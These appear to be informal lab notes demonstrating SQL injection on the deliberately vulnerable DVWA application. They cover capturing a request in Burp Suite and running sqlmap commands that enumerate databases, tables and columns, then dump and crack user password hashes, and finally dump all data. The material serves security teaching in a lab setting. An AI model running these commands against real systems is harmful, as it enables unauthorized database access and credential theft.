Sql blind
=>agenda
we’re laying out an agenda to demonstrate an SQL Injection attack using Burp Suite + sqlmap
on DVWA web application’s database.
The goal is not magic hacking, but to show how a vulnerable request can lead to full
database compromise.
Capture a vulnerable HTTP request → feed it to sqlmap → automatically exploit SQL
Injection → extract database data
Burp Suite = traffic capture(Burp Suite acts as a Man-in-the-Middle (MITM) proxy that
intercepts HTTP/HTTPS traffic between the browser and the web application, allowing us to
view and modify requests and responses.)
SQL Injection is a web vulnerability where an attacker manipulates user input to execute
unauthorized SQL queries on a backend database.
sqlmap = SQL injection exploitation(sqlmap is an automated penetration-testing tool used to
detect and exploit SQL injection vulnerabilities and extract database information.)
DVWA = intentionally vulnerable target
SQL Injection happens through HTTP requests
sqlmap needs a real request to test
[Link] becomes the input for sqlmap
------------------------------------------------------------------------------------------------------------------
Burp Suite part — capturing the vulnerable request
1)open burpsuite -> intercept on -> open browser -> enter the ip address of metaspoilt ->
click on dvwa -> forward request -> right click the request -> do it till the command 1 on sql i
-> save file as [Link]
What is inside [Link] that allows sqlmap to work?
[Link] contains a complete HTTP request captured by Burp Suite.
This request gives sqlmap everything it needs to attack the application.
1️⃣ Target URL
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: [Link]
➡️Tells sqlmap:
Which page to attack
Which parameter (id) to test
2️⃣ Vulnerable parameters
id=1
3️⃣ Session cookies (authentication)
Example - Cookie: PHPSESSID=abc123; security=low
➡️This is critical:
DVWA requires login
sqlmap reuses your authenticated session
Otherwise it would be blocked
4️⃣ HTTP method (GET / POST)
sqlmap needs to know:
How data is sent
Where to inject payloads
Example - POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
5️⃣ Headers
User-Agent: Mozilla/5.0
Referer: [Link]
Helps sqlmap behave like a real browser
Avoids basic filtering
[Link] contains a captured HTTP request with URL, parameters, and session cookies that
sqlmap uses to automatically test and exploit SQL injection.
2)open the folder where u saved it
-> command explanation -> -r [Link] → use the captured request , --dbs → enumerate all
available databases
internally it runs -> show databases;
->sqlmap -r [Link] --dbs
->press y -> y -> n
->now u will be able to see the available databases
3)command explanation -> -D dvwa → target the dvwa database ,--tables → list tables inside
it->internally it runs SHOW TABLES FROM dvwa;
->sqlmap -r [Link] -D dvwa --tables
4)command explanation -> -T users → target the users table,--columns → list columns in that
table
->sqlmap -r [Link] -D dvwa -T users --columns
5)command explanation -> -C user,password → select specific columns -> --dump → extract
their data
“We are extracting the usernames and passwords used to log into the DVWA web
application.”
SQL Injection allows unauthorized access to stored credentials
Weak hashing makes passwords easy to crack
sqlmap -r [Link] -D dvwa -T users -C user,password --dump
press n-> y -> press enter -> n
now it will crack the hashes -> user table , password table and cracked passwords
6)man sqlmap
7)command explanation -> Dumps everything -> All databases -> All tables -> All data
->sqlmap -r [Link] --dump-all